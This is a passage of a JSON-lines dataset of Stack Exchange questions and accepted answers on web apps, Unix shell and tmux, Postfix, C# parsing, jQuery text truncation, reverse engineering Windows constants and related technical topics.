TestMIME-Version: 1.0Content-Type: multipart/alternative;        boundary=-----------=Sample_Msg_Part156165161321654-----------=Sample_Msg_Part156165161321654Content-Type: text/plainThis is a sample message. This is the text portion of the message.-----------=Sample_Msg_Part156165161321654Content-Type: text/htmlThis is a sample message. This is the <b>html</b> portionof the message.-----------=Sample_Msg_Part156165161321654... the plain text would look like this:This is a sample message. This is the text portion of the message.... while the HTML would look like this:This is a sample message. This is the html portion      of the message."  } 
{  "id": "_webapps.15961"  , "question": "I want to see only my subscriptions on my YouTube home. Those recommendations are unnecessary pollution."  , "title": "How to remove recommended items from YouTube home page?"  , "tags": "youtube"  , "accepted_answer": "There is a filter at the very top of the homepage:Switch to Subscriptions and you'll see only subscriptions..."  } 
{  "id": "_reverseengineering.15345"  , "question": "This happens a lot where when I am reversing a program in a disassembler or debugger, I run into something like this:push    eax             ; lParampush    1               ; wParampush    80h             ; Msgpush    ecx             ; hWndcall    esi ; SendMessageAIn order to effectively reverse this, I need to know what 80h is. The problem is that when compiled (preprocessed), all of the Windows constant macros obviously get turned into numbers so I no longer have the semantic meanings. I also cannot go and search for SendMessage 0x80 because there's no real context there either.The question is, what are some tips in figuring out a Microsoft Windows constant macro name when given only a function and a value like this? I was able to go to SendMessage on MSDN and then from there, look at the Msg parameter which lead me to the System-Defined Messages page. However, like many other MSDN pages, this one only defines the macros by description, rather than provides a table of which value each one corresponds to. This has actually been a regular issue that I've ran into in reversing Windows applications. Another solution I've discovered is to try and locate the .h file for the corresponding macros online and then search for the value there. But this situation is less than ideal because I have no idea if the information is accurate up-to-date, but many times I also do not even know which header file would contain the definition."  , "title": "What are ways to find Windows constant macro definitions?"  , "tags": "windows;api"  } 
{  "id": "_webmaster.105050"  , "question": "Perhaps I'm not getting it as should, but as far as I got it, CloudFlare should use local(geographically) servers, relative to the user, to deliver the content. But instead, I'm getting all the time US servers(I'm in Europe).How do I fix this?"  , "title": "CloudFlare isn't working as CDN"  , "tags": "cdn;cloudflare"  , "accepted_answer": "You're likely using a geolocation service to determine the location of the IP address. This may not accurately tell you where the server for that IP is located - Cloudflare owns large IP blocks. These blocks will be registered to them somewhere in the USA and perhaps the servers for these IPs are even located there. However, if they move a B block in that range to Europe, it means a 1 digit difference in the IP changes the location completely. 104.16.0.0/12 for example is a huge range of IPs. That's over 1.4 mil IPs split into around 64k B blocks (excuse my napkin math). The ISPs would be aware of an edge router's location but IP block registration databases wouldn't. Do a ping command and use response time and TTL to measure distance. TTL will tell you how many routers your ping has bounced through - even if response time doesn't waver much you'll be able to see that it's gone a greater distance. For further detail, a tracert command (Windows) will also reveal more about location by attempting to resolve and ping each individual router along the way. Done from different origin IPs, you'll also be able to see if your ISP is doing any redirecting for Cloudflare in order to shorten distance travelled.Edit: Another answer has pointed out you can also use yourdomain.com/cdn-cgi/trace in order to get a debug output with the 'colo=' code indicating the location of the server being used. Example output:fl=21g22h=yourdomain.co.ukip=your.ip.addressts=1497653403.144visit_scheme=httpsuag=Mozilla Compatible Agentcolo=LHR // Datacentre locationspdy=h2http=h2loc=GB"  } 
{  "id": "_webmaster.52458"  , "question": "I just discovered that Google have indexed the preview version of my site with a subdomain previewdns.com appended to my actual domain. I need to remove those URL's from the search index. How can I do so?"  , "title": "Removing preview DNS from Google Index"  , "tags": "google index"  } 
{  "id": "_cs.70016"  , "question": "I am stroking ellipse with Python scripts. However, due to limited precision of floating numbers to represent irrational numbers, outline of the ellipse will not be accurate and some other unnecessary points will be regarded as ellipse points. Blue points on the graph are entry points. That is, these two points are substituted to the ellipse formula. Can anyone please enlighten me on how to get rid of those unnecessary points? "  , "title": "Excluding needless points when stroking ellipses"  , "tags": "graphs;pattern recognition"  } 
{  "id": "_unix.258815"  , "question": "I am trying to create directories and subdirectories as another user, from inside a shell script.The problem is, I am running the script as root, so the directory is being created with root ownership.I have a text file containing the names of directories and subdirectories, and I am using this command to do it:cat dirname.txt | xargs -L 1 mkdirWhich looks like this:cet/mntcet/mnt/jklcet/mnj/lokI tried sudo but only the parent directory gets the desired user ownership."  , "title": "Create Directories and Subdirectories as Another User"  , "tags": "permissions;scripting"  , "accepted_answer": "Try something like:cat dirName.txt | xargs -L 1 sudo -u ubuntu mkdir -p"  } 
{  "id": "_webmaster.18498"  , "question": "I visit a good number of websites - around 100-200 - that don't offer RSS resources. I'm going to check through that list from time to time anyway but I could avoid wasting time in sites that weren't updated since last visit.Is there any tool that can provide me quick details any/major changes?"  , "title": "How to keep track of websites updates?"  , "tags": "tracking"  , "accepted_answer": "It's not the ideal solution, (you would need a bot spidering the sites in question and looking for updates* - I am not aware of any free services which would provide this service, but there may be paid ones) but you could use Google Alerts to alert on an exact phrase which appears in the site template for each of the sites.(* Disappointingly, Google's site: operator is not available within Google Alerts)Example:Sign in to your Google account (Gmail) and go to the Google Alerts pageEnter the exact phrase Pro Webmasters Stack Exchange (with quotation marks) in the textbox at the top of the pageSelect:Type: EverythingHow often: As-it-happens (or your preference)Volume: All resultsDeliver to: FeedThis configuration would compile a feed (stored in Google Reader) with the results which Google picks up (though not necessarily any publicly-available change).Edit: I have not tested it, but it appears as though creating the alerts as feed items (which, by the way, you will need to add to folders using the Manage Subscriptions dialog in Google Reader in order to see) will also create a publicly-accessible Atom feed which could be monitored from any other syndicated feed reader (which may be particularly useful if you are automating your solution - you could programmatically filter out results from domains other than those you wish to monitor)."  } 
{  "id": "_codereview.145860"  , "question": "UPDATE: I have refactored the code into a Gist using @Dmitry's answer as a guide. The update is much simpler to grok, implements IDisposable, and is roughly thirty lines shorter.I wrote this over the weekend for fun and am looking for critique. Style and readability comments are welcome but what I truly need to know is:Does it function as advertised?Are there any lingering bugs that I've missed?Can you come up with a way to make it faster?When I ask these of myself I get 1 = yes, 2 = no, and 3 = maaaaaybe. I'd like to add other features like skipping the header row, inferring data types, validating field counts, etc. but I'll be tackling that kind of thing via derivation or extension since such logic will be simpler to implement if based on an existing IEnumerable<IEnumerable<>> like this one.FLAME ON;Usage:foreach (var row in DelimitedReader.Create(fileName)) {    foreach (var field in row) {        // do stuff    }}Features:Accurate: RFC4180 CompliantEfficient: memory usage is (roughly) equal to the size of the largest rowFast: average throughput of ~25 megabytes per secondFlexible: the default encoding and separator/escape characters can be user-definedLightweight: single 160 line class with no external dependenciesCode:using System;using System.Collections;using System.Collections.Generic;using System.IO;using System.Text;namespace ByteTerrace{    public class DelimitedReader : IEnumerable<IEnumerable<string>>    {        private const int DEFAULT_CHUNK_SIZE = 128;        private const char DEFAULT_ESCAPE_CHAR = '';        private const char DEFAULT_SEPARATOR_CHAR = ',';        private readonly char[] m_buffer;        private readonly Encoding m_encoding;        private readonly char m_escapeChar;        private readonly string m_fileName;        private readonly char m_separatorChar;        public char[] Buffer {            get {                return m_buffer;            }        }        public Encoding Encoding {            get {                return m_encoding;            }        }        public char EscapeChar {            get {                return m_escapeChar;            }        }        public string FileName {            get {                return m_fileName;            }        }        public char SeparatorChar {            get {                return m_separatorChar;            }        }        public DelimitedReader(string fileName, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR, Encoding encoding = null, int bufferSize = DEFAULT_CHUNK_SIZE) {            m_buffer = new char[bufferSize];            m_encoding = (encoding ?? Encoding.UTF8);            m_escapeChar = escapeChar;            m_fileName = fileName;            m_separatorChar = separatorChar;        }        public IEnumerator<IEnumerable<string>> GetEnumerator() {            return ReadFields().GetEnumerator();        }        IEnumerator IEnumerable.GetEnumerator() {            return GetEnumerator();        }        IEnumerable<IEnumerable<string>> ReadFields() {            return ReadFields(ReadAllChunks(FileName, Encoding, Buffer), SeparatorChar, EscapeChar);        }        public static DelimitedReader Create(string fileName, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR, Encoding encoding = null, int bufferSize = DEFAULT_CHUNK_SIZE) {            return new DelimitedReader(fileName, separatorChar, escapeChar, encoding, bufferSize);        }        public static IEnumerable<char[]> ReadAllChunks(TextReader reader, char[] buffer) {            var count = buffer.Length;            var numBytesRead = 0;            while ((numBytesRead = reader.ReadBlock(buffer, 0, count)) == count) {                yield return buffer;            }            if (numBytesRead > 0) {                Array.Resize(ref buffer, numBytesRead);                yield return buffer;            }        }        public static IEnumerable<char[]> ReadAllChunks(string fileName, Encoding encoding, char[] buffer) {            return ReadAllChunks(new StreamReader(new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read, 4096, FileOptions.SequentialScan), encoding), buffer);        }        public static string ReadField(StringBuilder buffer, int offset, int position, char escapeChar) {            if (buffer[offset] == escapeChar) {                if (position - offset != 2) {                    return buffer.ToString(offset + 1, position - offset - 3);                }                else {                    return string.Empty;                }            }            else {                return buffer.ToString(offset, position - offset - 1);            }        }        public static IEnumerable<IEnumerable<string>> ReadFields(IEnumerable<char[]> chunks, char separatorChar = DEFAULT_SEPARATOR_CHAR, char escapeChar = DEFAULT_ESCAPE_CHAR) {            var buffer = new StringBuilder();            var fields = new List<string>();            var endOfBuffer = 0;            var escaping = false;            var offset = 0;            var position = 0;            var head0 = '\\0';            var head1 = head0;            foreach (var chunk in chunks) {                buffer.Append(chunk, 0, chunk.Length);                endOfBuffer = buffer.Length;                while (position < endOfBuffer) {                    head1 = head0;                    if ((head0 = buffer[position++]) == escapeChar) {                        escaping = !escaping;                        if ((head0 == escapeChar) && (head1 == escapeChar)) {                            endOfBuffer--;                            position--;                            buffer.Remove(position, 1);                        }                    }                    if (!escaping) {                        if ((head0 == '\\n') || (head0 == '\\r')) {                            if ((head1 != '\\r') || (head0 == '\\r')) {                                fields.Add(ReadField(buffer, offset, position, escapeChar));                                yield return fields;                                buffer.Remove(0, position);                                endOfBuffer = buffer.Length;                                fields.Clear();                                offset = 0;                                position = 0;                            }                            else {                                offset++;                            }                        }                        else if (head0 == separatorChar) {                            fields.Add(ReadField(buffer, offset, position, escapeChar));                            offset = position;                        }                    }                }            }            if (buffer.Length > 0) {                fields.Add(buffer.ToString());            }            if (fields.Count > 0) {                yield return fields;            }        }    }}"  , "title": "Delimited File Reader"  , "tags": "c#;strings;parsing"  , "accepted_answer": "I'd prefer to rely on the builtin functionality as much as possible. I want to believe that use of the builtin stuff makes my code more readable and probably faster.So my proposal is:public class DelimitedReader : IEnumerable<string[]>, IDisposable{    private readonly StreamReader reader;    public DelimitedReader(string fileName, Encoding encoding = null)        : this(new StreamReader(new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite),            encoding ?? Encoding.UTF8, encoding == null))    {    }    public DelimitedReader(StreamReader reader)    {        this.reader = reader;    }    public void Dispose()    {        reader.Dispose();    }    public char EscapeChar { get; set; } = '';    public char SeparatorChar { get; set; } = ',';    private string[] ParseLine(string line)    {        List<string> fields = new List<string>();        char[] charsToSeek = { EscapeChar, SeparatorChar };        bool isEscaped = false;        int prevPos = 0;        while (prevPos < line.Length)        {            // If in the escaped mode, seek for the escape char only.            // Otherwise, seek for the both chars.            int nextPos = isEscaped                ? line.IndexOf(EscapeChar, prevPos)                : line.IndexOfAny(charsToSeek, prevPos);            if (nextPos == -1)            {                // We reached the end of the line                if (!isEscaped)                {                    // Add the rest of the line                    fields.Add(line.Substring(prevPos, line.Length - prevPos).Trim());                    break;                }                // If there is no closing escape char                throw new InvalidDataException(The following line has invalid format:  + line);            }            char nextChar = line[nextPos];            if (nextChar == EscapeChar)            {                // The next char is the escape char                if (isEscaped)                {                    // If already in the escaped mode                    fields.Add(line.Substring(prevPos, nextPos - prevPos)); // No Trim                }                isEscaped = !isEscaped; // Toggle mode            }            else            {                // The next char is the delimiter                fields.Add(line.Substring(prevPos, nextPos - prevPos).Trim());  // Trim            }            prevPos = nextPos + 1;        }        return fields.ToArray();    }    public IEnumerator<string[]> GetEnumerator()    {        while (!reader.EndOfStream)        {            yield return ParseLine(reader.ReadLine());        }    }    IEnumerator IEnumerable.GetEnumerator()    {        return GetEnumerator();    }}In the class above I use the StreamReader.ReadLine method to read a file line by line, and the String.IndexOf/String.IndexOfAny methods to move within the line.According to my test runs, this approach is a bit faster."  } 
{  "id": "_unix.352845"  , "question": "I'm currently building a script that parses json files and make some operation while parsing it.Here's the beginning of my script:for folder in `ls -d $path` do mag=`basename $folder`for file in `ls $folder` # pour chaque fichier prsent dans le dossier spcifdo     receivedCustomer=`jq .receivedCustomer $folder/$file`      invoiceCustomer=`jq .invoiceCustomer $folder/$file`       anotherCustomer=`jq .anotherCustomer $folder/$file`      etc...`    if [ \\( $view == \\healthCheck\\ \\) ]    then        healthCheckCpt=`expr $healthCheckCpt + 1`    fi    if [ \\( $terminal == \\01\\ \\) ]    then        terminal01=`expr $terminal01 + 1`    fiEtc...Then some operation are a little bit more complex:if [ $sameClientFacture -gt 0 ]    then        sameClient=`echo $sameClientFacture $anotherCustomerTrue $rattachementClientBorne $factureSansClientRattache | awk '{printf%.2f,$1/($2+$1+$3+$4)*100}'`#         echo sameClient : $sameClient    fi    if [ $anotherCustomerTrue -gt 0 ]    then        differentClient=`echo $sameClientFacture $anotherCustomerTrue $rattachementClientBorne $factureSansClientRattache | awk '{printf%.2f,$2/($2+$1+$3+$4)*100}'`#         echo differentClient : $differentClient    fiFinally I just construct another JSON file containing the results of the operations with an echo :echo { x : value , y : value etc... } > out_file I'm surely doing something wrong since I'm very new to shell programming.I'm parsing around 30 000 files at a time of few KB each (from 50 to 150 lines per file), the last attempt took 2070 sec long, compared to a Java parsing I find it very slow..Do you guys have a clue how may I improve my script? "  , "title": "Slow / Poor performance JSON Parsing with JQ"  , "tags": "scripting;performance;json;jq"  } 
{  "id": "_datascience.2628"  , "question": "Using SAS Studio (online, student version)...Need to do a nested likelihood ratio test for a logistic regression. Entirety of instructions are: Perform a nested likelihood ratio test comparing your full model (all predictors included)to a reduced model of interest.The two models I have are:Proc Logistic Data=Project_C;Model Dem (event='1') = VEP TIF Income NonCit Unemployed Swing;Run;andProc Logistic Data=Project_C;Model Dem (Event='1') = VEP TIF Income / clodds=Wald clparm=Wald expb rsquare;Run;I honestly have no idea where to even start. Any suggestions would be appreciated. Thanks!"  , "title": "SAS Nested Likelihood Ratio Test for a Logistic Model"  , "tags": "logistic regression"  } 
{  "id": "_softwareengineering.137947"  , "question": "I recently read an article on the 37Signals blog and I'm left wondering how it is that they get the cache key.It's all well and good having a cache key that includes the object's timestamp (this means that when you update the object the cache will be invalidated); but how do you then use the cache key in a template without causing a DB hit for the very object that you are trying to fetch from the cache.Specifically, how does this affect One to Many relations where you are rendering a Post's Comments for example.Example in Django:{% for comment in post.comments.all %}   {% cache comment.pk comment.modified %}     <p>{{ post.body }}</p>   {% endcache %}{% endfor %}Is caching in Rails different to just requests to memcached for example (I know that they convert your cache key to something different). Do they also cache the cache key?"  , "title": "How does key-based caching work?"  , "tags": "python;django;memcached"  } 
{  "id": "_webmaster.12911"  , "question": "I have been wandering around some SEO sites this evening and have been seeing this term linkbaiting. The word bait kind of makes it not sound so great.What exactly is linkbaiting and how does it differ from article marketing? From the gist of some of these descriptions I'm seeing, this is something fairly new, but it seems almost identical to article marketing. What am I missing?"  , "title": "What is linkbaiting?"  , "tags": "seo;backlinks"  , "accepted_answer": "Its not new. It means creating content that people want to link to. Infographics can be good link bait. The proper way to get links it to have something worth linking to. By creating something unique, or something very informative, you create link bait. Here is a good example of a very well written article that is link bait: http://www.seobook.com/economics-of-content-farms.More info: http://www.ericward.com/linkbait-services.html."  } 
{  "id": "_cs.74296"  , "question": "I'm not an instructor. I'm a student doing such course. And I'm just trying to figure out what to do, because we're not given an input language. What kind of (input) language would you suggest for an University compiler project?It's a project typical to the compiler course in CS programs.However, I've been confused about, whether it would be easier to design a language for the project or use some existing programming language.It should be able to handle the following requirements:Readable (no binary noodles)CommentsAt least two different types of data (type errors must be captured at the latest during the run)Integrity technologyMaking choices (if tms)Playback (loops, recursion etc)Parameterizable subroutines (functions, methods, etc) that can use local variablesAdditional featuresTables (multidimensional, 0.5 cr, one-dimensional 0.25 cr)String input and output (0.25 cr)String interpolation or printf-style formatting by yourself (0.25 cr)    Complex printf formats (0.25 cr)Records and variants (0.5 cr)Generic (Static) Types (0.5 cr)Classes and Late Binding (0.5 cr)First-class functions (0.5 cr)Garbage collection (entirely self-made) (1 cr)Recursive pattern match (garden Haskell) (0.5 cr)Lazy calculation (1-2 cr depending on the implementation technique)Additionally the implementation would include:Relatively effective interpreter without separate intermediate language 0 crGeneration of intermediate language (eg own, JVM or LLVM) 1 crGeneration of a machine language (eg AMD64 or ARM) from its own intermediate languageNaive register allocation 1 crSmart register allocation (eg graphing) 2 crAlso, what existing programming languages would fit into all of these? Does it have to be a functional language or does even C implement all of these?"  , "title": "What kind of language would you suggest for an University compiler project?"  , "tags": "compilers"  } 
{  "id": "_cs.16853"  , "question": "recently there have been a few questions on teaching CS in both cs.se & tcs.se and there are many high-rated related questions on the two sites on the topic. thinking over the latest one made me realize that a lot of students get exposed to some aspects of STEM through the media (sometimes inaccurately), and one of the most powerful media outlets is movies. it seems that maybe instead of rolling ones eyes or recoiling from their unrealism, these have some potential and can be used as a teaching tool (aka teachable moment) by taking them as a student experience to build on, as case studies for students to learn about certain concepts and how the concepts actually work vs the screenwritten, hollywood version, ie address (possible widespread?) misconceptions about the field and its essential aspects.what are key or compelling movies introducing CS-type concepts and what is accurate/inaccurate about the portrayal? [or is it roughly correct?]teaching high school TCS tcs.sewhat should I do with a bunch of 16/17yr olds to get them interested in CS cs.se"  , "title": "computer science in the movies as an educational angle"  , "tags": "education"  , "accepted_answer": "I haven't seen it yet, but Travelling Salesman could be pretty interesting."  } 
{  "id": "_webapps.103453"  , "question": "Facebook has a built-in capability to download everything you posted and liked https://www.facebook.com/help/131112897028467/However it doesn't allow to download the content you repostedIn the downloaded archive it is shown asThursday, February 23, 2017 at 8:08am UTC+02Michael Naumov shared Someone's post.I am interested to download all such posts themselves.I tried to use Activity Log - Your posts. It uses load-on-demand approach so in order to get all the content I have to constantly scroll down.So I ran JavaScriptsetInterval(function() { window.scrollTo(0, document.body.scrollHeight); }, 100);After waiting a while I could get the whole timeline loaded. However this doesn't help much because all the images I am looking for are rendered as thumbnails and in order to get the full version of it I have to click on it and then save it from the popup.But before trying to implement that approach I decided to ask the community is there any smarter way to achieve what I want."  , "title": "Download all Facebook reposts images"  , "tags": "facebook"  } 
{  "id": "_unix.58588"  , "question": "I am trying to bind X to do the following:prompt the user whether the session should be killedif y is entered, kill the sessionafter the session is killed select another session (last, previous, or next session)Some similar commands that aren't quite rightKill the session and close the terminal:bind X confirm-before -p Kill #S (y/n)? kill-sessionPrompt the user for the name of the session to kill and select next session after kill:bind X command-prompt -p kill:  switch-client -n \\; kill-session -t '%%'I haven't been able to find examples of similar commands.  Here's a solution something that doesn't work:bind X confirm-before -p Kill #S (y/n)? SESSION='#S' \\; \\switch-client -n \\; kill-session -t \\$SESSION\\"  , "title": "Kill a tmux session and select another tmux session"  , "tags": "tmux"  , "accepted_answer": "I think this is close to what you want:bind-key X confirm-before -p Kill #S (y/n)? run-shell 'tmux switch-client -n \\\\\\; kill-session -t \\\\$(tmux display-message -p \\#S\\)\\'Your #3 approach is along the right lines, but the problem is that confirm-before does not do status-left-style substitutions (e.g. #S) in its command string.A caveat for the above binding is that since everything is done in from run-shell, the commands are run outside the context of any particular client or session. It really only works because the default client (for switch-client) and default session (for #S in display-message -p) are the most recently active ones. This works out as you would expect as long as you only have a single active client (e.g. a single user that does not type into another tmux client until after the shell commands have finished running); it could fail dramatically if (e.g.) you trigger the binding in tmux client A, but new input is received by tmux client B before the shell started by run-shell has had a chance to run its commands.This particular race condition seems like a nice motivation for providing client/session/window/pane information to run-shell commands. There is a TODO entry about getting if-shell and run-shell to support (optional?) status_replace() (i.e. status-left-style substitutions), though maybe a better choice would be format_expand(), which is kind of a newer super-set of status_replace (offers #{client_tty}, etc.)."  } 
{  "id": "_unix.45415"  , "question": "I have my webserver set up to send out email as a smartserver using postfix and it does not allow any other machines on my network to send mail through it. I've been able to send email from my webserver to any address I like and it still works like that.But I want to change the fact that postfix refuses all clients on the local LAN. I want my desktop PC to be able to send out email through my webserver, but I can't get past these log messages:Aug 13 21:58:01 localserver postfix/smtpd[21838]: connect from diablo[2001:980:1b7f:1:d568:1d76:bc9a:e356]Aug 13 21:58:05 localserver postfix/smtpd[21838]: disconnect from diablo[2001:980:1b7f:1:d568:1d76:bc9a:e356]I tried adding the IPv6 address to the mynetworks line in main.cf, but it doesn't solve the issue.smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)biff = noappend_dot_mydomain = noreadme_directory = no# TLS parameterssmtpd_tls_cert_file = /etc/ssl/certs/ssl-mail.pemsmtpd_tls_key_file = /etc/ssl/private/ssl-mail.keysmtpd_use_tls = yessmtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scachesmtp_tls_session_cache_database = btree:${data_directory}/smtp_scachemyhostname = localserver.localalias_maps = hash:/etc/aliasesalias_database = hash:/etc/aliasesmyorigin = /etc/mailnamemydestination = some.server.nl., localserver.local, localhost.local, localhostrelayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104mailbox_size_limit = 0recipient_delimiter = +inet_interfaces = allhome_mailbox = Maildir/smtpd_sasl_auth_enable = yessmtpd_sasl_type = dovecotsmtpd_sasl_path = private/dovecot-authsmtpd_sasl_authenticated_header = yessmtpd_sasl_security_options = noanonymoussmtpd_sasl_local_domain = $myhostnamebroken_sasl_auth_clients = yessmtpd_recipient_restrictions = reject_unknown_sender_domain, reject_unknown_recipient_domain, reject_unauth_pipelining, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destinationsmtpd_sender_restrictions = reject_unknown_sender_domainmailbox_command = /usr/lib/dovecot/deliver -c /etc/dovecot/conf.d/01-mail-stack-delivery.conf -n -m ${EXTENSION}smtp_use_tls = yessmtpd_tls_received_header = yessmtpd_tls_mandatory_protocols = SSLv3, TLSv1smtpd_tls_mandatory_ciphers = mediumsmtpd_tls_auth_only = yestls_random_source = dev:/dev/urandomHints/tips anyone?"  , "title": "postfix add single IPv6 address"  , "tags": "postfix;ipv6"  } 
{  "id": "_webmaster.101849"  , "question": "A particular gaming platform allows clients to connect to game servers by entering a URL into their web browser. Upon entering the URL in the web browser and pressing enter, the application launches and joins the specified server. This URL takes the form of a specific application layer protocol, followed by an IP address and port. Ex. xyz://server-ip:portI wish to redirect a subdomain of my website to the address of my game server. If my domain is example.com, I'm looking for play.example.com to redirect to xyz://server-ip:port.Using a forward resource record did not work, nor did using a PHP header redirect, presumably because both are strictly HTTP redirects. Some ideas that I've had include using a <meta> tag, a .htaccess file, javascript, or another resource record, but I'm not familiar enough with any of them to know which, if any, are viable."  , "title": "Cleanly redirecting a subdomain to an address with a different application layer protocol"  , "tags": "redirects;dns"  } 
{  "id": "_unix.311558"  , "question": "I was wondering - how can we be sure that file data isn't being changed (from usermode thread) after the security_mmap_file() hook is called, but before the file is actually mapped. If the data could be changed this is a classic time-of-check-time-of-use attack.I assume there's some lock which I'm missing here...I know that before security_bprm_check() is called (from exec()), the file is write-locked by using deny_write_access() (in do_open_exec()), so that makes sense, but I can't see such a lock before security_mmap_file()Thanks!"  , "title": "LSM security_mmap_file lock question"  , "tags": "linux;security;lsm"  } 
{  "id": "_unix.58555"  , "question": "I am consistently running out of inotify resources, leading to errors along the lines of:# tail -f /some/filestail: inotify resources exhaustedtail: inotify cannot be used, reverting to pollingThis eventually happens even if I grow the value of fs.inotify.max_user_watches.  I suspect a locally installed Java application is consuming the resources, but I don't have the option of either fixing it or removing it.Is there a way to set a limit on the number of inotify watches that can be consumed by a process?"  , "title": "Can I limit the number of inotify watches available to a process or cgroup?"  , "tags": "linux;limit;inotify"  } 
{  "id": "_softwareengineering.161670"  , "question": "I've spent the last year becoming really comfortable with MySQL, but due to its increasing trendiness and my desire to homogenize my web-apps with Heroku, I'd like to start using PostgreSQL for my web apps instead.  There are a resources out there for learning PostgreSQL, but I don't really want to have database concepts explained to me from scratch again, and I don't want to have to re-learn all the stuff that's pretty much the same.What are the critical differences that I need to understand - syntactical and conceptual - between MySQL and PostgreSQL that will affect me on a day-to-day basis?"  , "title": "Making the switch from MySQL to PostgreSQL?"  , "tags": "database;mysql;postgres"  , "accepted_answer": "It depends somewhat on how you're using the database.If you're using an ORM, you might not notice any issues at all.I switched an application to using Postgresql (for deployment to Heroku), but only after discovering situations where the SQL created by Rails worked fine on SQLite, but not on Postgresql.  Invariably, the issues were caused when joins were querying the same column name on multiple tables.  SQLite didn't care, but Postgresql wanted the relation name specified if it was in the 'where' clause.Even though I've worked with both MySQL and Postgresql, I'm not sure of any fundamental conceptual differences between them.  They're both fairly solid client-server databases, although PG seems to be generating a better reputation.However, there are definitely some critical syntactical differences between MySQL and Postgresql.  I found a decent guide to those here: http://en.wikibooks.org/wiki/Converting_MySQL_to_PostgreSQL"  } 
{  "id": "_unix.307124"  , "question": "What is the difference between running following commands on terminal?command1for i in {1..3}; do ./script.sh >& log.$i  & doneandcommand2for i in {1..3}; do ./script.sh >& log.$i  & done &Running the first command shows three job IDs on the screen and I can type the next command on ther terminal. The second command is a bit weird, it does not show any job IDs on screen nor can I see them after running jobs command. Where did the jobs go? Inside of script.sh I have following loopfor k in 1; do ./tmp -argumentsdoneecho helloIf I use command 1, I can see via htop that ./tmp executible is running and echo hello has not yet been executed (not in the log file).If I use command 2, I can see via htop that ./tmp executible is running AND echo hello has ALREADY been executed (as seen in the log file).Why would an & on the terminal change the behaviour of the for loop inside the shell script?[GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)]"  , "title": "Ampersand after for loop on shell scripts"  , "tags": "bash;shell script;job control"  , "accepted_answer": "The first onefor i in {1..3}; do    ./script.sh >& log.$i  &doneruns in the current shell. Each iteration of the loop runs the script.sh script as a job of the current shell, and so you can see them so.The second onefor i in {1..3}; do    ./script.sh >& log.$i  &done &first starts a subshell that controls the loop. Then the 3 iterations create 3 subprocesses in that shell, while in your current shell you can only see 1 job, which is the whole command, not yet broken down into particular jobs. (You should see this 1 job. Either as a Running one or as Done.)The ./tmp executable should run the same way in both cases. If you see echo hello has been performed, this means the ./tmp had been finished before. If it behaves abnormally, you should debug (and add the details to your question). Especially, make sure the starting conditions are the same at the time of its call in both cases. Eg. if there are checks for existing files, make sure in both cases they do/don't exist, etc."  } 
{  "id": "_codereview.92801"  , "question": "I repeat here this answer on Stack Overflow.I first posted an answer with not finalized code, as a simple description of the solution I could think, without any test. But later I remained interested, so I worked to make it (hopefully) perfectly functional.To precisely define what it is meant to do, let me cite my previous answer:This is a classic dilemma for any CMS or blog, where the teaser should present the begin of an article: often the solution is either stripping text from its tags and cut at a precise count OR keep tags but cut approximately because the tags are counted too...So here the intent is to take an HTML element with any number of children, and any nesting level and return:the same element (i.e. keeping its tag and attributes)where resulting text content (i.e. visible as characters in the resulting page) is limited to a given countwhere resulting text is built from successive text nodes in their natural orderwhere encountered tags are keeped intact and at their natural placeHere is my actual solution:function cutKeepingTags(elem, reqCount) {  var grabText = '',      missCount = reqCount;  $(elem).contents().each(function() {    switch (this.nodeType) {      case Node.TEXT_NODE:        // Get node text, limited to missCount.        grabText += this.data.substr(0,missCount);        missCount -= Math.min(this.data.length, missCount);        break;      case Node.ELEMENT_NODE:        // Explore current child:        var childPart = cutKeepingTags(this, missCount);        grabText += childPart.text;        missCount -= childPart.count;        break;    }    if (missCount == 0) {      // We got text enough, stop looping.      return false;    }  });  return {    text:      // Wrap text using current elem tag.      elem.outerHTML.match(/^<[^>]+>/m)[0]      + grabText      + '</' + elem.localName + '>',    count: reqCount - missCount  };}And here is a working example. (I kept the HTML example posted by the previous question OP)"  , "title": "Truncating text with jQuery but keep the HTML formatting"  , "tags": "javascript;jquery;html;regex;dom"  , "accepted_answer": "First of all, I would just like to say that this is a really good and useful function. From a Code Review standpoint, there are almost no errors in it that I know of. Here are a few things I found from examining it:Keep spacing uniformLine 8 doesn't have a space between parameters, where your other function calls do. This is most likely due to quick typing and not any major issue other than a cleanliness nitpick.An invalid input for ifLines 19-21 where you have an if like so:if (missCount == 0) {  // We got text enough, stop looping.  return false;}You should never use == over === due to it being possible that something like 0 would match the same as 0. This is because the double equals signs finds if it matches an exact value, where triple equals signs tests for exact value and type. So your final code should look like this for the if statement:if (missCount === 0) {  // We got text enough, stop looping.  return false;}Optional - JSHintIf you use JSHint in JSFiddle, then you'll run into errors when trying to run this:elem.outerHTML.match(/^<[^>]+>/m)[0]  + grabText  + '</' + elem.localName + '>',If you're worried about that then you just have to write it all on one line. But for being short and concise, that might not be what you want."  } 
{  "id": "_unix.118289"  , "question": "This sort of a setup seems to be common in shopping malls and airports. In Western Canada Shaw provides such a service and calls it Shaw Open. I'm pretty sure other locales have similar services from providers such as T-Mobile, etc.From something such as a cell phone it's not very complicated to do. No authentication is necessary to connect to the wifi hotspot as it is open for public access. But my cell phone won't connect to websites or remote services via apps until I use my browser and sign in to a particular webpage provided by the ISP.  My question simply stated is: How do I automate the authentication step from a device that doesn't typically have a traditional browser?I have, in my particular case, a raspberry Pi configured with software that I want to use at trade shows etc.  Theses locations have the same sort of open hotspots.  The Raspi is meant to be self contained. It just does its business and talks to a website. But this outbound connection is blocked by the ISPs open connection because I haven't, nor can I complete the browser part of the process.Assuming I have credentials to do this on a particular provider's network, how can I automate that part of the process without requiring me to open a terminal session to the Pi?  What kind of technology is even used here, that I can search for?"  , "title": "How do I authenticate to a wireless provider's open network without using a browser?"  , "tags": "wifi;wpa supplicant"  } 
